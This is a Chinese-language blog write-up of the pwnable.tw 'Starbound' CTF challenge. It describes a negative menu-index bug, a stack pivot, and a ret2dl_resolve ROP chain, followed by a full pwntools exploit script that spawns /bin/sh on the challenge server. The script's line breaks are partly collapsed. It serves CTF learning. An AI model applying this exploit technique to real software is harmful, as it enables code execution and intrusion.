pwnable tw Starbound writeup
这题漏洞很明显,选择菜单的时候可以输入负数,然后可以在name那里填入想调用的函数,这样就可以实现任意地址执行
但是有了这个之后怎么用呢??
这个就有点难度了,本来是想看一下栈,看看有没有可以用的参数,但是发现基本都用不了…….
然后想了下,这题没有给libc,又没有system,那么多半是ret2dl_resolve
那么ret2dl_resolve又需要rop,那么这题应该就是rop了,但是怎么rop呢?
画了下栈的图,大概是这样
因为strtol只识别前面的-31,所以后面我们可以填rop的payload
然后在name那里填上一个地址
我这里选了0x804A6D9,add esp,0x1c,然后再pop几个东西,这样就能到我们的payload那里了
之后就单纯的是ret2dl_resolve,这里就不详细说了
下面是payload
from pwn import *
import roputils#p=process('./starbound')
p=remote('chall.pwnable.tw', 10202)
context.log_level='debug'
rop=roputils.ROP('./starbound')#gdb.attach(proc.pidof(p)[0])stage=0x8057D40+0x700def ru(x):return p.recvuntil(x)def se(x):p.send(x)def back():se('1')ru('> ')def settings():se('6')ru('4. Toggle View')ru('> ')def set_name(name):se('2')ru('Enter your name: ')se(name)ru('> ')settings()
set_name(p32(0x0804A6D9)+cyclic(0x20))puts=0x8048B90
read=0x8048A70
p4=0x804A6DC
pebp=0x80491bc
leave=0x0804A673payload='a'*21 +p32(puts)+p32(p4+3)+p32(0x08055004)
payload+=p32(read)+p32(p4+1)+p32(0)+p32(stage)+p32(0x300)
payload+=p32(pebp)+p32(stage-4)+p32(leave)se('-33'+payload)linkmap=u32(p.recv(4))+0xe4data=p32(read)+p32(p4+1)+p32(0)+p32(linkmap)+p32(0x4)
data+= rop.dl_resolve_call(stage+0x100)+p32(stage+0x200)*2
data=data.ljust(0x100,'A')
data+=rop.dl_resolve_data(stage+0x100,'system')
data=data.ljust(0x200,'A')
data+='/bin/sh\x00'
data=data.ljust(0x300,'A')p.send(data)
sleep(0.1)
p.send(p32(0))p.interactive()
pwnable tw Starbound writeup相关推荐
- pwnable.tw startorw
emm,之前一直想做tw的pwnable苦于没有小飞机(,今天做了一下发现都是比较硬核的pwn题目,对于我这种刚入门?的菜鸡来说可能难度刚好(orz 1.start 比较简单的一个栈溢出,给出一个li ...
- Pwnable.tw之BookWriter
Pwnable.tw之BookWriter 知识点 FSOP是FILE Stream Oriented Programming的缩写, 进程内所有的_IO_FILE结构会使用_chain域相互连接成一 ...
- pwnable.tw unexploitable 分析
这题是和pwnable.kr差不多的一道题,主要区别在于没有给syscall.所以需要自己去找. 只有read和sleep两个函数. 思路一是首先劫持堆栈到bss段,然后调用read函数将sleep的 ...
- PWN passcode [pwnable.kr]CTF writeup题解系列5
直接看题目: 连接服务器看看情况: root@mypwn:/ctf/work/pwnable.kr# ssh passcode@pwnable.kr -p2222 passcode@pwnable.k ...
- PWN random [pwnable.kr]CTF writeup题解系列6
目录 0x01 题目 0x02 解题思路 0x03 题解 0x01 题目 0x02 解题思路 题目比较简单,直接贴出过程 root@mypwn:/ctf/work/pwnable.kr# ssh ra ...
- PWN input [pwnable.kr]CTF writeup题解系列7
目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 先连接到服务器看下情况 root@mypwn:/ctf/work/pwnable.kr# ssh input2@pw ...
- PWN horcruxes [pwnable.kr]CTF writeup题解系列15
题目内容: 先连接上去看看题目文件,看起来已经说了是一道rop的题目 root@mypwn:/ctf/work/pwnable.kr# ssh horcruxes@pwnable.kr -p2222 ...
- PWN lotto [pwnable.kr]CTF writeup题解系列10
目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 下载文件,检查一下情况 root@mypwn:/ctf/work/pwnable.kr# ssh lotto@pwn ...
- PWN uaf [pwnable.kr]CTF writeup题解系列13
目录 0x01题目 0x02解题思路 0x03题解 0x01题目 0x02解题思路 题目都已经介绍了这是一道Use After Free的题目,那我们就不用多想了,先看看题目主要内容 root@myp ...
- 【pwnable.tw】 death_note
题目逻辑比较简单,大概增加和删除和打印三个功能: show函数中,打印各日记内容,由于这题没有给出libc文件,应该不需要泄露地址,估计用处不大: delete函数中,正常的free,然后指针修改为n ...
最新文章
- FFT ---- 2021牛客多校第一场 H Hash Function
- javascript学习之流程控制
- 【Leetcode】Palindrome Number
- 转再次写给我们这些浮躁的程序员
- apache camel_Apache Camel的性能调整思路
- SpringBoot实战(一):使用Lombok简化你的代码
- 用语言控制Linux:Linux的语音识别软件
- php eclipse aptana,eclipse aptana插件自动提示
- ChemDraw怎么调整键长?调整键长教程
- 不带搜索框,数据同步请求,产品按字母分组组件
- 12月2日科技资讯|微信回应发原图泄露位置信息;Linux Kernel 5.4.1 发布
- Web上的推箱子游戏Sokoban
- oracle 客户端 sqlplus 命令行 问号 乱码
- Evernote新搭档Evertracker,掌控自己的时间(视频)
- PIC16F877A与Proteus仿真-PIC16F877A最小系统及开发环境搭建
- 重磅官宣:GitHub App 终于来了
- 全志r58能使用linux内核么,全志R58怎么样 R58芯片参数介绍
- Java题目:动物声音模拟器
- Js 的 混淆 与反混淆
- 我院HIS系统中的医嘱频次字典数据